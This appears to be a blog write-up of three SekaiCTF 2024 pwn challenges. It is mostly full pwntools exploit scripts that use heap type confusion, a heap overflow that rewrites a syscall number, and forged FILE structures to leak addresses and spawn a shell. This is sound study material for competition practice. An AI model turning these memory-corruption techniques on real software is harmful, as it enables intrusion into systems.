2024 sekaiCTF pwn wp part1

成功解锁成就——一个暑假两个月每个周末都在打比赛

Life Simulator 2

搓了一天的类型混淆

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data :p.success(name + ': \033[1;36m 0x%x \033[0m' % data)


elf = ELF('./life_simulator_2')
context(arch = elf.arch, os = 'linux',log_level = 'debug')
# debug()

def add_company(company_name, company_budget):
sl('add_company {} {}'.format(company_name, company_budget))
ru('INFO: Success')

def sell_company(company_name):
sl('sell_company {}'.format(company_name))
ru('INFO: Success')

def add_projct(company_name, project_name, project_profit_per_week):
sl('add_project ' + ' '.join([company_name, project_name, str(project_profit_per_week)]))
ru('INFO: Success')

def remove_project(company_name, project_name):
sl('remove_project ' + ' '.join([company_name, project_name]))
ru('INFO: Success')

def hire_worker(company_name, project_name, worker_name, salary):
sl('hire_worker ' + ' '.join([company_name, project_name, worker_name, str(salary)]))
ru('INFO: Success')

def fire_worker(worker_name):
sl('fire_worker ' + ' '.join([worker_name]))
ru('INFO: Success')

def move_worker(worker_name, new_project_name):
sl('move_worker ' + ' '.join([worker_name, new_project_name]))
ru('INFO: Success')

def worker_info(worker_name):
sl('worker_info ' + ' '.join([worker_name]))

def elapse_week():
sl('elapse_week')

#p = process('./life_simulator_2')
p=remote('life-simulator-2.chals.sekai.team',1337,ssl=True)

add_company('test', 1000)
add_projct('test', '111', 1000)

elapse_week()
elapse_week()
elapse_week()

sell_company('test')

add_company('pureland', 10000)
add_projct('pureland', '666', 1000000)

for i in range(50):
hire_worker('pureland', '666', 'worker%d'%i, 100)

elapse_week()
elapse_week()

sell_company('pureland')


add_company('test', 1000)
add_company('fake_com', 1000)
add_company('test1', 1000)

add_projct('fake_com', 'test', 1000)
worker_info('worker0')

ru('Project workers count: ')
heapbase=int(ru('\n')) * 8 - 0x133e0
print(hex(heapbase))


add_projct('test', 'a'*0x500, 1000)
add_projct('test', 'b'*0x500, 1000)
add_projct('test', 'c', 1000)
remove_project('test', 'a'*0x500)

def arr(addr,fake_com):
add_projct('test', 'd', 1000)
add_projct('test', 'e', 1000)
sell_company('fake_com')
remove_project('test', 'd')
remove_project('test', 'e')

pl = p64(addr) + p64(8)
pl = pl.ljust(0x40, b'\x00')
pl += p64(fake_com)[:-1]
sl(b'hire_worker test c '+pl+b' 100')
worker_info('worker0')
sl(b'fire_worker '+pl)

arr(heapbase+0x16280,heapbase+0x13670)

ru('Project name: ')
libcbase=u64(ru('\n'))-0x204130
print(hex(libcbase))

add_projct('test', 'f', 1000)
add_company('fake_com', 1000)

arr(libcbase+0x20ad58,heapbase+0x1000)

ru('Project name: ')
stack=u64(ru('\n'))
print(hex(stack))

add_projct('test', 'g', 1000)
add_company('fake_com', 1000)

p_fake_com=heapbase+0x15b50
p_fake_arr=p_fake_com+0x48
p_fake_pj=p_fake_arr+8
p_ob=heapbase+0x280
fake_com=p64(heapbase)+p64(8)+p64(0)*4
fake_com+=p64(p_fake_arr)+p64(p_fake_arr+8)*2
fake_com_arr=p64(p_fake_pj)
fake_pj=p64(p_fake_pj+0x10)+p64(7)+b'fakeobj\x00'
fake_pj+=p64(100)
fake_pj+=p64(p_ob)*2+p64(p_ob+8)
sl(b'hire_worker test c '+fake_com+fake_com_arr+fake_pj+b' 100')


hire_worker('test', 'c', 'a'*0x450, 100)
fire_worker('a'*0x400)


add_projct('test', 'd', 1000)
add_projct('test', 'e', 1000)
sell_company('fake_com')
remove_project('test', 'd')
remove_project('test', 'e')
pl = p64(libcbase) + p64(8)
pl = pl.ljust(0x40, b'\x00')
pl += p64(p_fake_com)[:-1]
sl(b'hire_worker test c '+pl+b' 100')


move_worker('worker0','fakeobj')

# 0x13850

add_projct('test1','c',1000)

pl=p64(heapbase)*(0x40//8)
pl+=p64(heapbase+0x160b0)
pl+=p64(heapbase)*(0xd8//8)
pl+=p64(heapbase+0x13670)+p64(heapbase+0x13670)
pl+=p64(heapbase)*(0xf0//8)
pl+=p64(heapbase+0x13680)+p64(5)+b'test1\x00\x00\x00'
pl+=p64(heapbase+0x135a0)+p64(0x3e8)+p64(0)
pl+=p64(heapbase+0x13490)+p64(heapbase+0x13498)*2
pl+=p64(heapbase)*(0x188//8)+p64(0)
pl+=p64(0x91)
pl+=p64(((heapbase+0x13850)>>12)^(stack-0x4a0-8))[:-1]

print(hex(len(pl)))

#gdb.attach(p)
sl(b'hire_worker test1 c '+pl+b' 100')

libc=ELF('./libc.so.6')
rdi=libcbase+0x10f75b
bin_sh=next(libc.search(b'/bin/sh\x00'))+libcbase
ret=libcbase+0x2882f
system=libcbase+libc.symbols['system']
rop_chain=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
rop_chain=rop_chain.ljust(0x80,b'a')
sl(b'hire_worker test1 c '+rop_chain+b' 100')


p.interactive()

nolibc

top chunk没算0x10的头导致0x10的溢出,改系统调用号

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def login(name,passwd):
p.sendlineafter(b'Choose an option: ',b'1')
p.sendafter(b'Username: ',name)
p.sendafter(b'Password: ',passwd)

def register(name,passwd):
p.sendlineafter(b'Choose an option: ',b'2')
p.sendafter(b'Username: ',name)
p.sendafter(b'Password: ',passwd)

def exitt():
p.sendlineafter(b'Choose an option: ',b'3')

def add(sz,data):
p.sendlineafter(b'Choose an option: ',b'1')
p.sendlineafter(b'Enter string length: ',str(sz).encode())
p.sendafter(b'Enter a string: ',data)

def delete(idx):
p.sendlineafter(b'Choose an option: ',b'2')
p.sendlineafter(b'Enter the index of the string to delete: ',str(idx).encode())

def view():
p.sendlineafter(b'Choose an option: ',b'3')

def save(filename):
p.sendlineafter(b'Choose an option: ',b'4')
p.sendafter(b'Enter the filename: ',filename)

def load(filename):
p.sendlineafter(b'Choose an option: ',b'5')
p.sendafter(b'Enter the filename: ',filename)


p=process('./main')
register(b'lcpa\n',b'lcpa\n')
login(b'lcpa\n',b'lcpa\n')
add(0x3f,b'a'*0x40) # 0
add(7,b'a'*8) # 1 0
delete(0)
add(0xf,b'a'*0x10) # 1
delete(1)
add(0x17,b'a'*0x18) # 1
view()
p.recvuntil(b'String 1: aaaaaaaaaaaaaaaaaaaaaaaa')
pie=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x90f0
log.info('PIE: '+hex(pie))

delete(0)
delete(0)

for i in range(0xb4):
add(0x100-1,b'a'*0x100)

add(0x3f,b'a'*0x30+p32(0)+p32(1)+p32(59)+p32(3))

delete(0)
load(b'/bin/sh\n')

#gdb.attach(p)
p.interactive()

speedpwn

scanf输入+跳过输入,simulate利用栈上残留libc地址泄漏,fight伪造FILE结构体打io

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
context.log_level='info'
context.os='linux'
context.arch='amd64'


def fight(num):
p.sendlineafter(b'> ',b'f')
p.sendlineafter(b'Player plays: ',str(num).encode())

def simulate(play):
p.sendlineafter(b'> ',b's')
p.sendlineafter(b'Bot number: ',b'+')
p.sendlineafter(b'Player number: ',str(play).encode())

def printg():
p.sendlineafter(b'> ',b'p')

def reseed():
p.sendlineafter(b'> ',b'r')


p=process('./chall')

def guess():
num=0
for cnt in range(48):
num=(1 << cnt) - 1
simulate(num)
p.recvuntil(b'Simulation result: ')
s=p.recvline()
if b'You win!\n'==s:
break
log.info("cnt of 1: "+str(cnt))
ret=0
for i in range(48):
if num==0:
break
simulate(ret|(num<<i))
p.recvuntil(b'Simulation result: ')
s=p.recvline()
if b'Bot win!\n'==s:
ret|=1<<(i-1)
num>>=1
return ret

libcbase=guess()-0x955c2
log.info("libcbase: "+hex(libcbase))

def write_byte(num):
for _ in range(8):
if num&1==1:
fight((1<<64)-1)
else:
fight(0)
num>>=1

def write_pl(pl):
for item in pl:
write_byte(item)

# _IO_file_xsgetn

libc=ELF('./libc-2.39.so')

p_fake_io=0x4040a0
p_fake_wfile=p_fake_io+0x100
p_fake_wfile_vtable=p_fake_wfile+0x100
p_fake_chunk=p_fake_wfile_vtable+0x100
io_wfile_jmp=libcbase+0x202228
system=libcbase+libc.symbols['system']

pl=b'a'*0x10+p64(p_fake_io)
fake_io=b' sh'
fake_io=fake_io.ljust(0x88,b'\x00')
fake_io+=p64(p_fake_chunk)
fake_io=fake_io.ljust(0xa0,b'\x00')
fake_io+=p64(p_fake_wfile)
fake_io=fake_io.ljust(0xd8,b'\x00')
fake_io+=p64(io_wfile_jmp+0x18-0x40)
fake_wfile=b'\x00'*0x18+p64(0)
fake_wfile=fake_wfile.ljust(0x30,b'\x00')
fake_wfile+=p64(0)
fake_wfile=fake_wfile.ljust(0xe0,b'\x00')
fake_wfile+=p64(p_fake_wfile_vtable)
fake_wfile_vtable=b'\x00'*0x68+p64(system)
fake_chunk=p64(0)+p64(1)

pl+=fake_io.ljust(0x100,b'\x00')
pl+=fake_wfile.ljust(0x100,b'\x00')
pl+=fake_wfile_vtable.ljust(0x100,b'\x00')
pl+=fake_chunk

write_pl(pl)

reseed()

#gdb.attach(p)

p.interactive()

2024 sekaiCTF pwn wp part1
http://akaieurus.github.io/2024/08/27/sekai2024pwnwp/
作者
Eurus
发布于
2024年8月27日
许可协议